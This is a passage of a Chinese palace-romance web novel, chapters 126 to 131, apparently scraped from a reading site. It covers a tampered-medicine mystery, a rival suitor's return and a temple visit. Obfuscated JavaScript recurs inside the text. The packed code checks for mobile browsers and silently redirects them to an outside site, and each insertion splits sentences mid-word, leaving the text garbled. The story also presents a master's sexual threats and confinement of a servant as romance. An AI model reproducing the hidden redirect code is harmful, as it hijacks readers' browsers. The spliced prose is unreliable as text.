但是看着谢宴之还是那副冷漠的样子,她平复了一下心情道:“不辛苦,照顾奕郎,本就是我分内之事。只要他能好起来,我怎样都使得。” 谢宴之见状,没有再说话,带着沈清念出了屋子。 林氏去门口看了一眼,见谢宴之已经走远,转身坐到椅子上,看着面前的苏姨娘:“大公子今日来,还说什么了?” “或者,有什么让人奇怪的地方?” 苏姨娘还从未见过林氏这样子,好像是在害怕大公子知道什么。 她想到沈清念的话,定了定神轻声说:“大公子只是坐在二爷边上瞧了一会儿,看起来有些伤怀,别的什么也没说。” 林氏听后,放心了下来。 谢宴之性子清冷,言语不多。苏姨娘那胆小的模样,也不敢在她面前说谎。 林氏又嘱咐道:“这药要按时给二爷服用,一天都不能断,记住了?” “是,夫人。”苏姨娘还是如往常一样,顺从地回应。 但她心里明白,二爷的药一定是有问题。 念儿说过这些只是些滋补的药,即便停了一日,又会出什么乱子。 除非林氏知道这药有问题。 回去的路上,沈清念心中一直在疑惑,谢二爷的病和林氏到底有没有关系? 谢宴之回头见沈清念一副心不在焉的样子,他眉头一皱,突然站定。 沈清念没注意谢宴之已经停下来,就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16401674|182920||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这样撞在他的身上。 “在想什么,那么入神?路也不好好走了?” 沈清念冷不防撞上一个坚硬的胸膛,再听到谢宴之的话,她才后知后觉自己撞上了谢宴之。 她向后退了一步,看了看四周,轻声道:“刚二夫人进来,你有没有闻到什么气味?” 谢宴之不解,除了药味,他并没有闻到别的什么气味。 “何种气味?” 沈清念想了想:“说不上来,但很熟悉。” “那味道很淡很淡。” 屋子里原本的药味就很浓,能嗅出这一丝气味,已很是不易了。 “但二夫人身上的确有那气味。” 看到沈清念一脸笃定的样子,谢宴之对着元青道:“备车,去找周太医!” 元青得了吩咐,大步备车去了。 谢宴之见沈清念探究的眼光,淡淡开口:“这方子是他开的,给他瞧瞧,说不定能看出些什么。” 原来是这样! “那世子可是要进宫?奴婢就在府中等着。”说完,沈清念将装药的瓷瓶递了过去。 谢宴之见状,嘴角微扬,伸手将瓷瓶和沈清念的手一并包裹住,拉着人往前走:“你也一起去。” 菱儿见状,赶紧低下头。大公子又对小姐动手动脚了。 沈清念挣扎着抽回了自己的手:“世子,奴婢自己会走。” 谢宴之回头盯着沈清念,见她脸上只有一丝恼怒,没有半分羞怯,他拂袖大步离去。 沈清念和菱儿见状,大步跟在后面。 待要坐上马车时,元青看沈清念也和菱儿一样,坐在了外面,他心中觉得不妙。 清姑娘又和爷闹别扭了? 元青试着问了一句:“清姑娘,您要不要坐到里面去?” “这外面日头太晒。” 沈清念正拿着帕子挡在脸上,这日头是有些晒人。 她也明白这只是元青的借口,他不过是怕谢宴之又发火而已。 她看了一眼车帘,毫不犹豫道:“不用,我就坐这儿,不能进去挤着世子。” 元青听后,只觉得帘子后面传来阵阵凉风…… 第一百二十六章 避免那丰盈贴上去 谢宴之坐在里面,半天不见沈清念进来,不知她磨磨蹭蹭在做些什么。 随后又听见她的话,他的眼睛直直盯着帘子后那片藕粉色的衣角,面色深沉。 沈清念和菱儿在外面坐着,聊着些趣事,完全没有注意身后那道目光。 马车晃晃悠悠走起来。 等到了周太医这里,沈清念才知道为何谢宴之让她一起来。 原来周太医并不是在宫里。 而是自己在这梧桐大街,开了一家医馆。医馆里看诊的人不少,应当是慕名而来的。 周太医一见谢宴之,便放下手中的脉枕,起身过来拱礼:“世子!” 他的目光扫过谢宴之身侧,一眼便认出沈清念是之前让他去靖南侯府问诊的姑娘。 只是不知为何穿了一身丫鬟的衣裳。 谢宴之见到周太医打量的目光,直接开口道:“今日来是想让周太医看一样的东西。” 说着,他对着沈清念抬了抬下巴:“把瓷瓶拿给周太医。” 沈清念连忙从袖中取出那只白瓷瓶,双手递了过去 周太医接过来,先是凑到鼻尖轻嗅,眉峰微蹙。 又唤药童取来一只素白瓷碗,将瓶中药汁缓缓倒出。 他端起那药汁晃了晃,又仔细看了看,脸上露出些疑惑的神情。 “周大夫可识得此药?” 谢宴之见他看得仔细,问了一声。 周大夫点点头,又摇摇头。 “这药倒是和我配给二爷的药极为相似。” “极为相似?”谢宴之眉梢微挑。 “嗯,但是这气味又有些不对,老夫一时辨别不出。”周太医说着,又凑近碗边闻了闻。 “老夫要看一眼药渣,世子可带来了?”他语气里添了几分郑重。 “带来了。”谢宴之说着,看了一眼元青。 元青立刻上前,将药包双手奉上。 沈清念倒是不知谢宴之还带来了药渣。 不过既然药渣带来了,她很想知道周太医的说法是不是与她推断的一样。 周太医打开药包,捻起几缕药渣在指间搓了搓,眉梢一松,似乎想到了什么。 他指了指那药渣道:“这药渣看起来,是我给二爷开的药方。” 他又指着那小碗药汁:“但这碗药汁不是。” 周大夫再将药放到鼻尖处闻了闻:“这药汁里应当是添了些什么东西。” 具体是什么,他一时也说不出什么来。 这时,沈清念忽然开口:“可是有一丝腥味,像吸血虫那样的气味?” 周大夫闻言,顿时笑起来:“正是!正是!没想到姑娘的嗅觉如此厉害!”说罢,向沈清念投来了赞许的目光。 “我家小姐从小就嗅觉灵敏,异于常人,一点细微的气味都逃不过她的鼻子!”菱儿颇为自豪地说道。 沈清念听了,浅浅一笑,微微低下了头。 谢宴之侧头看了沈清念一眼,嘴角不自觉地勾起一抹淡淡的笑。 他看上的人,又怎么会差呢? “那您能不能看出这药汁就是放了何物?”谢宴之收起笑意,语气又沉了下来。 周太医皱着眉摇了摇头:“如今还不知这腥臭之物究竟是什么,不好妄下定论。” 忽然,他又想到什么,看向谢宴之:“难道是有人动了二爷的药?” 谢宴之点头,神色有些凝重。 这些年他从没怀疑过二叔的病来得蹊跷。 也或许是他那时还是个孩童,当**已经有些记不清了。 周太医顿时明白了谢宴之的用意。 二爷的药被人动了手脚,谢宴之想要他查出这药的蹊跷之处。 他对着谢宴之拱手:“给老夫一些时日,翻阅古籍找找看。” “嗯,那就有劳周太医了。”谢宴之拱手,随后就带着沈清念出了医馆。 马车上,谢宴之坐在里面,揉了揉眉心。 连周太医都看不出这药里放了什么,他想要查清这件事,还是有些棘手的。 沈清念还是和菱儿坐在外面,等着元青放好凳子,驾马车离开。 忽然,车厢里传来谢宴之不耐的声音:“沈清念,进来!” 听出谢宴之的语气里带些了不满,沈清念心下一咯噔。 她知道谢宴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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沈清念想着,不回应他的话。径直偏过头,又去看外面的景色。 因此,她并没有发现,谢宴之的脸上露出了一丝狡黠的笑意。 第一百二十七章 怀意在此谢过世子 不多一会儿,马车就到了靖南侯府,几乎就在马车停稳的时候,沈清念就掀开帘子下了车,唯恐再与谢宴之碰上。 谢宴之慢里斯条从马车上下来,见沈清念立在一边,二人之间隔着三四步的距离,一副对他避之不及的样子。 他眉毛微挑,心下对她的举动不屑。 不知她躲那么远做什么?他现在是主子,她是奴婢。 只要他一句话,沈清念还不是得乖乖过来。 谢宴之正欲转身开口使唤她,就见观澜居的小厮跑了过来。 那小厮跑到元青身边,压低声音说了几句。 元青听后,脸色微变,挥手让小厮退下后,凑到谢宴之的跟前,耳语了几句。 谢宴之闻言,眼神向沈清念的方向看去,面色微沉。 菱儿见大公子的脸色不大好看,又看着她家小姐,心里不免有些紧张。 她伸手悄悄扯了扯沈清念的袖子。 沈清念看到菱儿的眼神示意,看了一眼谢宴之锅底一般的黑脸。 就知谢宴之明显是不高兴了。 可这又关她什么事,她可不曾惹他。 沈清念对着菱儿笑笑,摇了摇头,示意她不必在意。 谢宴之略一思忖,转身对着沈清念吩咐道:“本世子想吃八宝糕,你去替我做些来。” 沈清念听到这话,刚还放下的心,一下子烦躁起来。 那八宝糕做工复杂,一不小心,就做坏了。 况且,即便是能做好,忙下来也要五六个时辰才能做好。 实在是折腾人! 菱儿看着沈清念,用眼神询问她是不是又惹了大公子? 沈清念抿了抿唇。 谢宴之无视这主仆两人的小动作,又对着菱儿道:“你也去!”说着,就负手往府里去了。 菱儿跟着沈清念一起往伙房去,忍不住抱怨:“大公子吃什么不好,非要吃八宝糕。” 沈清念却觉着没什么,反正也比回观澜居对着谢宴之好! 这头,谢宴之带着元青大步回了观澜居。 一进屋子,便见那椅子上坐着的背影,手里拿着那把熟悉的青竹折扇。 听到脚步声,那人转过身来,露出一张俊朗的面容,正是离京许久的萧怀意。 萧怀意见到谢宴之,将手中的折扇一折,立即起身拱手,笑着道:“世子,别来无恙。” 语气里带着些熟稔,好似两个多日不见的好友般。 谢宴之却没给他半分好脸色,径直走到上首的太师椅上坐下,指尖叩了叩扶手。 慢里斯条地抬了抬眼皮,冷声道:“怀意怎么突然回来了?不在滇城好好待着,跑到我靖南侯府来做什么?” 萧怀意听着谢宴之的冷言冷语,知道谢宴之是对他有些不喜。 而这突然的不喜,自然是因为沈姑娘。 看来谢宴之并没有在沈姑娘那里讨到便宜。 他抿嘴笑了笑,也转身坐回椅子上。 “我自是回来相助世子的。”萧怀意说着,又打开竹扇扇了扇,眉眼里没有一丝不悦。 “哦?”谢宴之眉毛轻挑,嘴角带上些不屑的笑意。 他萧家马上就要大难临头了,他拿什么来助他? “不知本世子有何事需要怀意来相助?” 谢宴之看了他一眼,自顾自地喝着茶。 萧怀意听出谢宴之言语里的轻蔑与讽刺,他也不恼。 直接从袖子里掏出一个竹筒,拿在手里:“世子,可还记得这个?” 谢宴之放下茶盏,看了一眼那竹筒,眼神里带着些冷意。 当日云州**,有人通过竹筒提醒他,他才没有被那些人围困住。 那人竟是萧怀意?或者说是萧怀意派的人。 谢宴之细细打量起萧怀意,从前的萧怀意身上带着些浪荡子的玩世不恭。 如今,他却在他身上看到了胸有城府,从容不迫的上位者的姿态。 想着,他目光一冷,带着些轻蔑道:“没想到怀意连自家人都出卖?” “那萧洪意是你大哥,你倒是狠心!” 说着,朝萧怀意轻蔑一笑。 萧怀意想到萧洪意,他朗声笑道:“萧洪意可没拿我当过手足。” “此人胆小怯弱,小人心胸,蠢笨而不自知,此次又给萧家惹下大祸。” “留在萧家也是个祸害,不如送给世子做个顺水人情。” “既替萧家除去了这个隐患,又保全了萧家的名声,何乐不为呢?” 说着,他又扇了扇,看向谢宴之,眼里满是快意。 谢宴之见他那得意的模样,开口道:“恐怕是怀意借了本世子的手,替你解决了萧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16410491|182920||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 洪意这个障碍吧。” 萧家没了嫡子,萧景意也是个不成器的,那最后的赢家只剩萧怀意了。 萧洪意再不堪大任,那也是萧家的嫡子,萧怀意这样的身份,想要除掉萧洪意,几乎是不可能的。 更不能落得个残害兄长的名声。 借他谢宴之的手,就没人会怀疑到他萧怀意了。 想到这儿,谢宴之眸子微冷,没想到,萧怀意这些年竟是在扮猪吃老虎。 从前他只觉得此人玩世不恭,却气质儒雅,人品不错。 如今,怕是要另当别论了。 萧怀意闻言,拱手一礼:“怀意在此谢过世子了。” 谢宴之看着萧怀意那副云淡风轻的样子,寒意更深。 恐怕,萧怀意还有什么是**的。 不然,萧怀意不可能人在滇城,还能将手伸到云州,伸到他身边。 萧怀意想到了什么,顿了顿,话锋一转:“我今日来,还有一事。” “不知可否与沈姑娘见上一面?”说着,目光灼灼地看向谢宴之。 闻言,谢宴之端起茶盏的手顿了顿,看向萧怀意的眼神也变得犀利起来。 “怀意还对我那表妹念念不忘?” 萧怀意笑道:“毕竟差一点就和沈姑娘结为了连理,自是用情深了一些。” 谢宴之闻言,眉头一皱,语气里带着几分冷意: “怀意莫不是忘了,我那表妹当日说过要回江南去成婚?” “你今日,怕是见不到她了。” 萧怀意听见谢宴之这样说,他心知肚明。 沈姑娘当日只是遭到了谢宴之的胁迫,不得已才编了这样的谎言。 她又怎么可能真的会江南去成亲。 他拿着折扇在手心轻轻敲了几下,故作疑惑道:“我曾派人去江南查过,沈姑娘根本没回沈家,沈家也从未给她定下什么婚约。” 他留在京城的人曾查到沈姑娘离开过侯府,而谢宴之也在相同的时间离开京城。 谢宴之离开京城与沈姑娘有没有什么关系,萧怀意不确定。 但他知道,谢宴之看上的东西,绝不会轻易放手。 所以,谢宴之一定知道沈姑娘在哪儿。 这样想着,他身子微微前倾,目光紧盯着谢宴之,笑着道:“是不是世子将人藏起来了?” 第一百二十八章 你只许看我 谢宴之的脸色沉了沉,萧怀意倒是了解他的心思。 他确实是将沈清念藏起来了。 刚元青说萧怀意来了,他就故意将沈清念支开,让她做那工序繁琐的八宝糕。 这样,沈清念便只能待在伙房,不可能见到萧怀意。 甚至从今日见到萧怀意起,他就想将沈清念藏得严严实实,不让任何人窥见分毫。 见谢宴之没有说话,萧怀意继续说道:“我并非有意为难,只是我有一物,尚在沈姑娘手中。” “那是我母亲留下的遗物。” “你母亲的遗物?”谢宴之心中一动,他从未听沈清念提起过此事。 这么说,沈清念一直带着别的男人送她的定情信物! 想到这儿,谢宴之骨节泛白,心里有一股莫名的烦躁。 看来萧怀意对沈清念的确情深,连母亲的遗物都能拱手送给她。 “是,既然我与沈姑娘无缘,那我必须找她讨回来。” 说完,萧怀意饮了一口茶,那云淡风轻的样子,好像他对沈清念已经没有那些心思。 今日只是想要找回那件遗物,对那人没有半分感情掺杂。 谢宴之冷嗤一声,那样贵重的物品都能相赠,这其中的情意又岂是一句无缘就能抹掉的。 “怀意,东西我替你拿回来,人就别再惦记了。” 听了谢宴之这话,萧怀意愣了愣,谢宴之果然知道沈姑娘在哪里。 他摇了摇扇子,微微一笑:“不必劳烦世子,我想亲自向沈姑娘讨要!” 语气里满是不肯退让的坚持 谢宴之听出了萧怀意语气里的不肯退让。 他眉头一皱,颇有些不满。 萧怀意哪里是要讨回遗物,分明是还对沈清念存着心思,不愿就此放手! 他压下心头的怒意,冷声道:“那怀意请便!” 萧怀意收起扇子,拱手后带着平安离开了观澜居。 平安看着自家公子那云淡风轻的样子,试着问道:“谢世子会不会因为大公子的事,迁怒整个萧家?” 萧怀意收起笑容,脸色变得严肃起来:“不会。” 他知道谢宴之虽雷霆手段,却从不迁怒无辜之人。 “那世子有没有透露沈姑娘的下落?” 萧怀意摇了摇头,脸色却没有失落。 他笃定谢宴之一定知道沈姑娘在哪里。 这也是萧家那老头愿意交出萧洪意的原因。 “公子,世子说了沈姑娘的下落了吗?” 萧怀意摇摇头,但他脸上并没有那么难看。:“谢宴之一定知道沈姑娘在哪里。” 他抬眼望了望天,目光深邃,“只要她还在这京城里,谢宴之将她藏得再严实,我也会找到她。” 他回京后也知道,谢宴之没有纳妾,甚至通房都没有。 那就是说沈姑娘并未向他妥协,他还有机会将她带回身边。 两人沿着长廊往前走,转过拐角时,恰好与从伙房回来的沈清念擦肩而过。 八宝糕的食材还缺了几味,她要去观澜居问问谢宴之,是让她出去买来,还是叫旁人买了再送到伙房。 不然,到时候没有八宝糕,他不知又要怎么责罚她和菱儿! 正想着,忽然她的眼睛瞥见一个熟悉的身影,手持折扇。 那人身边还跟着个人,好像是平安! 那…… 沈清念被自己心中的猜测吓到。 那人……是萧怀意! 眼看那两人的身影就要消失在门口处。 她心头一紧,几乎是脱口而出:“萧……” 可公子二字还未出口,嘴巴就被一只温热的大手死死捂住,将那未说完的字眼硬生生堵了回去。 萧怀意的脚步顿一顿,问平安:“你方才有没有听到什么声音?” 他好像听到女子或者猫儿一般的声音。 平安摇了摇头:“没有啊,公子。” 平安看了看四周,一个人也没有。 除了远处的长廊旁,一簇花枝在风中轻轻晃了几下,再没有什么特别的地方。 萧怀意眼中闪过一丝失落,带着平安继续往前走,渐渐消失在长廊尽头。 长廊的拐角处,谢宴之捂着沈清念的嘴,不让她发出任何声音。 他的指腹贴着她温软的唇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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沈清念看着谢宴之那偏执的样子,眼角的泪终于夺眶而出,顺着脸颊滑落,滴在谢宴之微凉的手上。 谢宴之指尖几不可察地颤了一下,看她一副泫然欲泣的模样。 “身为奴婢,你的眼里只能有你的主子!” 谢宴之说完,一把甩开她的下巴,拂袖离去。 ———— 入夜,观澜居。 一轮圆月悬在天上,清冷的光辉透过窗棂,洒在屋内的小榻上。 沈清念蜷在那榻上,心中思绪万千。 白日所见的那人就是萧怀意。他真的回来了。 看来萧公子之前所说的缠身的事已经解决好了。 她原本也想和萧公子见一面的。 他给她的银票还余下了许多,总要亲手还回去才安心。 可是以谢宴之的性子,知道他们见面,只怕会给萧怀意带去麻烦。 想到这儿,她那点念头又瞬间熄灭。 到底要如何做才是对的? 沈清念轻轻叹了口气,倦意也漫了上来,渐渐沉入梦乡。 直到夜深时,谢宴之才回了观澜居。 他一眼便看到了小榻上那个蜷缩着的身影。 他那时的确是怕她见到萧怀意。可现在想起来,见面了又如何? 沈清念如今是他的丫鬟,没有他的允许,她连这观澜居的门都踏不出去,见面了又能如何? 正想着,榻上的人儿忽然低低抽噎了两声,肩膀还轻轻颤了颤。 谢宴之俯下身细看,看到沈清念那双美目并未睁开。 只是她眉头蹙着,像是受了极大的委屈。 他情不自禁地伸出手,轻轻抚着沈清念的脸颊,自顾自道:“你梦到了什么,这般委屈?” 沈清念的睫毛颤了颤,感觉脸上有些痒痒的,好像有东西在脸上摩挲。 她伸手想将那东西赶走,却摸到了一双温热的大手。 鼻息间也传来阵阵清洌的雪松香味。 意识到不对,沈清念猛地睁开眼睛。 就见谢宴之放大的脸出现在眼前,她吓了一大跳,身子往后缩了缩。 “谢宴之!”声音也因为受到惊吓而有些颤抖。 她连忙松开了谢宴之的手。 谢宴之见状,捻了捻指尖,又目光犀利地看向沈清念:“白日里有一事忘了同你说。” “何事?”沈清念抱着被子,蜷缩起来。 “萧怀意说他有一物放在你那儿了,你们既已无缘,他要向你讨回去。” 沈清念眉心一皱,萧公子说的,难道是那把钥匙? “本世子代为归还便可。”谢宴之伸出手掌,示意她将东西拿出来,放在他的手心里。 沈清念看向谢宴之的掌心,明白了他的心思。 他分明是不想她与萧公子见面。 可这东西到底是萧怀意的,她还是想亲自归还,方才安心。 便对谢宴之说道:“既是萧公子亲自给我的,那我也应当亲自归还给他。” 果然!这二人还是余情未了。 一个要亲自讨,一个要亲自还。 不就是为了见对方一面? 谢宴之心中涌起一股怒火,原本他觉得他们见面也没什么。 现在,沈清念的话又让他心里莫名气恼。 他偏不让这二人见面! “将东西拿出来!” “你身为本世子的奴婢,难道还想单独与男子幽会?” “你不要脸面,本世子还要!” 沈清念听了谢宴之的话,心里真真是气竭。 这和脸部脸面的有什么关系! 她又不会单独和萧公子见面,谢宴之自己龌龊,把她也想得如此龌龊! 谢宴之见沈清念还是没有将东西拿出来,坐到了她的小榻上,脸朝着她一步步靠近。 沈清念退无可退,几乎要碰到他的鼻尖。 只听见谢宴之又道:“你不拿出来,我也不介意用另外一种法子,让你歇了心思!” 说着,别有深意地上下打量起沈清念。 沈清念被他的眼光看得发麻,就好像自己正在被他侵犯一样。 她心里又恐惧,又气恼。 谢宴之这个疯子! 但眼下这种情形,沈清念也知道硬碰硬,得不了什么好处。 她深吸了一口气,强压住怒火:“世子,奴婢这就去拿。” 谢宴之闻言,才坐直 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16416110|182920||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了身子,眼底是一团冰冷。 果然,她可以任他打,任他骂,就是不愿让他碰她! 沈清念见谢宴之坐到了一边,她下榻穿好鞋,又借着月光去桌边点了灯。 才从柜子拿出一个包袱,将里面的东西拿出来。 谢宴之看到她掏出了一块手帕,打开那手帕,里面是一把钥匙,一个手镯,还有一副羊脂白的耳环。 沈清念拿起那对羊脂白的耳坠,轻轻抚了两下,眼里满是不舍。 最后,她才转过身,双手递了过去:“世子,就是这个。” 谢宴之伸手拿了过去,也将她眼里的不舍看得一清二楚。 他满心不悦地绕道屏风后面,双臂张开,头侧向她那一边。 沈清念心知他是在等她过去伺候。 她咬了咬唇,硬着头皮走了过去。 低着头,伸手小心翼翼地解着他领子上的盘扣。 谢宴之低头,见到那雪白的脖颈,嗅着那熟悉的香味。 看着眼前这个为自己宽衣解带的人,那双眉眼是那样温柔, 他心下一动,她已经是他的人了该多好。 他的手慢慢向她收拢,却又及时止住了。 现在还不到时候,以免惊吓到她,令她生了警惕。 他又看了她一眼,心里想着,再多几日,他定要将这桩心愿了了。 他深深呼了一口气,双手紧握,才抑制下抱住她的冲动,声音也恢复了一些平淡:“明日早些叫我,祖母让我陪着去万宝寺礼佛。” 原本沈清念看到谢宴之的手似乎是想要抱住她,她心里有些紧张,想着要怎么躲开。 却见谢宴之又停下了动作,她心里才放松下来。 “是。”她轻声回道。 “下去吧。”谢宴之说着,自己解起扣子来。 沈清念闻言,简直是如蒙大赦,她几乎是逃也似退到了屏风后面。 谢宴之烫人的呼吸早已令她有些喘不过气来。 直到听见谢宴之躺下的声音,她才悄悄松了口气,裹紧了被子背对着他躺了下来。 又忽然听到谢宴之的声音:“再惦记着别人,小心我将你关起来!” 第一百三十章 成了二人之间调情的工具 一夜无眠。 天刚蒙蒙亮,沈清念就起身梳洗。 又把巾子和热水端进卧房。 谢宴之已经醒了,正坐在床边揉着眉心。 沈清念不敢多言,只垂着眼默默上前,先替他将外袍的褶皱理平,又递过帕子伺候他擦脸。 她心里只有一个念头:要表现得和往常一样,不惹恼他。 千万不能被他关起来! 直到坐上马车,沈清念都没有说一句话,也没有一个表情不对。 只是透过车帘的缝隙,看着外面的景色。 连一个眼色都不曾扫过。 可谢宴之却觉得哪哪都不对。 她一大早就不言不语的,现在连余光没往他这边扫一下。 她究竟是为了那对破耳坠生气还是为没见到萧怀意而难过? 万宝寺。 晨钟刚过,空气里漫着香火的气息。 更显得这寺庙庄严。 老夫人先去了大雄宝殿听住持讲经。 谢宴之对那些没兴趣,便走到银杏树下的石桌旁坐下。 沈清念则立在一旁,将茶盏茶壶摆上,替他满上茶水。 谢宴之看她垂着眼,一直没有给他眼神,心里有些不快。 “谢世子!” 一个柔软的声音传来,带着些许惊喜。 谢宴之转身看过去,眉头皱了皱,来人正是李慧妍。 沈清念一眼看过去,那女子生得俊俏,弯弯的柳眉下,是一双柔情的杏仁眼。 一身水绿色的锦裙衬得她肌肤雪白,满头的珠翠虽华丽,却不显俗气。 再看她看向谢宴之的眼神,带了些欢喜和羞怯。 原来这女子是冲着谢宴之来的! 见李慧妍要看向她,沈清念赶紧低下了头。 “李姑娘。”谢宴之自顾自端着茶盏,甚至连站都没有站起来。 李慧妍见谢宴之脸色平平,也没有起身相迎,倒也不气恼。 她只觉得谢宴之果然如同传闻中那样,不近女色。 对那些女子都没什么好脸色。 他今日能这样对她,日后也会这样对旁的女子。 她也就不用担心与他成婚后,他会如那些男子一样三妻四妾的。 倒是替她省了不少心。 这样想着,李慧妍走到了谢宴之面前。 她的丫鬟金螺很有眼色,掏出绢子来将凳子擦了擦。 再请她入座。 “世子也喜欢礼佛?”李慧妍见他不理她,试着主动搭话, 一边说着,一边准备坐下,就听见谢宴之的声音冷不丁地传来: “李姑娘,这凳子有人了。” 李慧妍的脸一阵通红,忙站了起来。 “世子,我并不知这凳子有人。” 她说着,看了看四周,这里就只有谢宴和他的丫鬟,还有她和金螺,哪里还有旁人。 她心里很不服气,但又不好在谢宴之面前失了礼。 还是压着心底的不满,语气平和道:“不知这凳子是为谁留的?” 谢宴之放下了茶盏,转过身,对着沈清念道:“你过去坐下,本世子不习惯与不熟的人一起坐。” 沈清念听到这话,脸上带着几分难以置信。 谢宴之这是什么意思?明知道那李姑娘对她有意,他将她拉进来做什么! 再看那李家小姐,双眼含笑看着她,一副端庄大气的模样。 但她旁边那丫鬟看向她的眼神里,似藏着一把刀。 谢宴之真是要害死她了! “世子,这…?”沈清念声若蚊呐,屈膝半蹲,面露难色。 一副她是被主子为难的样子。 希望那李家小姐能不记恨她。 谢宴之看她那副样子,嘴角微微扬起一个弧度。 还是要给她找一些麻烦,省得她心里老惦记着那不该惦记的人。 况且,她故意装出被为难的模样,就是想让李慧妍看出,她是被迫的。 谢宴之又岂会看不懂她把戏。 他勾了勾唇角,眼底闪过一丝玩味,又假装不经意地将手搭在腿上拍了拍,语气温和:“不喜欢那个凳子?也可以换个地儿坐的。” 李慧妍心中听着谢宴之的话,手中的帕子又捏紧了些。 谢宴之竟然那样宠着那个丫头。 方才那丫头一直低着头,她不曾看清她的样貌。 况且,谢宴之身边从没有丫头。她就以为这是老夫人的丫鬟。 现在沈清念抬起头来,她才看清她的容貌。 眉如远山,眼似秋水,哪怕穿着素衣,没戴任何首饰,那份清丽也压过了自己满头的珠翠。 一个丫头,竟然有这样的容貌。 难怪谢宴之会对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16421763|182920||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她另眼相看! 李慧妍脸上的笑意此时也消散了一些。 沈清念看到谢宴之眼底的暗示,心里把他骂了千百遍。 最后,她只能低着头,满脸“愧疚”地走到石凳旁,坐到了谢宴之对面。 只是刚坐定,谢宴之就将茶盏推到了她面前。 茶盏里是他刚刚倒上的碧螺春,还冒着热气。 “尝尝,特意为你准备的。”谢宴之的声音变得柔和起来,一脸的宠溺。 落在沈清念的耳朵里,却让她头皮发麻。 她没抬头看李慧妍,也知道这画面落在那李家娘子的眼里有多刺人! 那李家娘子的脸色有多难看! 李慧妍面上带着笑,手上的帕子却几乎要被她绞碎:“世子真是心善,待下人这样好。” 好到可以将自己的茶盏跟一个奴婢共用! 听了这话,谢宴之终于抬头看了她一眼,笑道:“李姑娘谬赞,我不是对所有下人都这般好,我只对她一人是这样。” “咳咳。”沈清念没有喝茶,却也被什么呛到了。 她一脸无奈,瞥了一眼李慧妍。 见那李家娘子脸上已然没了笑意,她如坐针毡。 李慧妍只觉得胸口发闷,好似有血要呕出来。 谢宴之对一个丫鬟如此体贴,对她堂堂将军府的二小姐却冷若冰霜。 她只觉得自己的脸像被人扇了几耳光。 再者,她忽然意识到自己好像成了他们二人之间调情的工具般。 心中更是气恼。 难怪谢宴之这么久还没被别的闺秀拿下,他竟是这样冷硬,难以把握。 就在她脸上的快要挂不住的时候,瞥见老夫人被刘麽麽扶着,从大雄宝殿走了出来。 李慧妍眼睛一亮,心里又有了底气。 她立刻收敛起眼底的怒气,换上一副委屈巴巴的模样。 乖乖站在一旁,连头都低了几分,看起来可怜极了。 老夫人一眼就看到了树下的情形。 只见沈清念和谢宴之坐在石凳上,谢宴之好像在对沈清念说着什么。 而那李小娘子却只能站在一旁。 尽管受了这样的冷待,她还是保持着贵女的端庄,静静站在一侧,面上没有一丝不悦。 只是那眼眶里的泪,让人看了都替她委屈。 第一百三十一章 她还不小心瞧见了他的…… 老夫人看到这一幕,步子顿了顿。 沈清念虽是小门小户的女子,以她往常的行为举止,也还是个受理讲规矩的女子。 老夫人料定这是谢宴之的主意,心里暗到他简直是胡来。 这样让将军府的颜面何存? 她看了刘麽麽一眼,快步走了过来。 沈清念看到老夫人步子有些急匆匆地,便要站起来,却被谢宴之一把抓住了手臂,暗示她坐下。 沈清念皱眉,用眼神示意他老夫人来了。 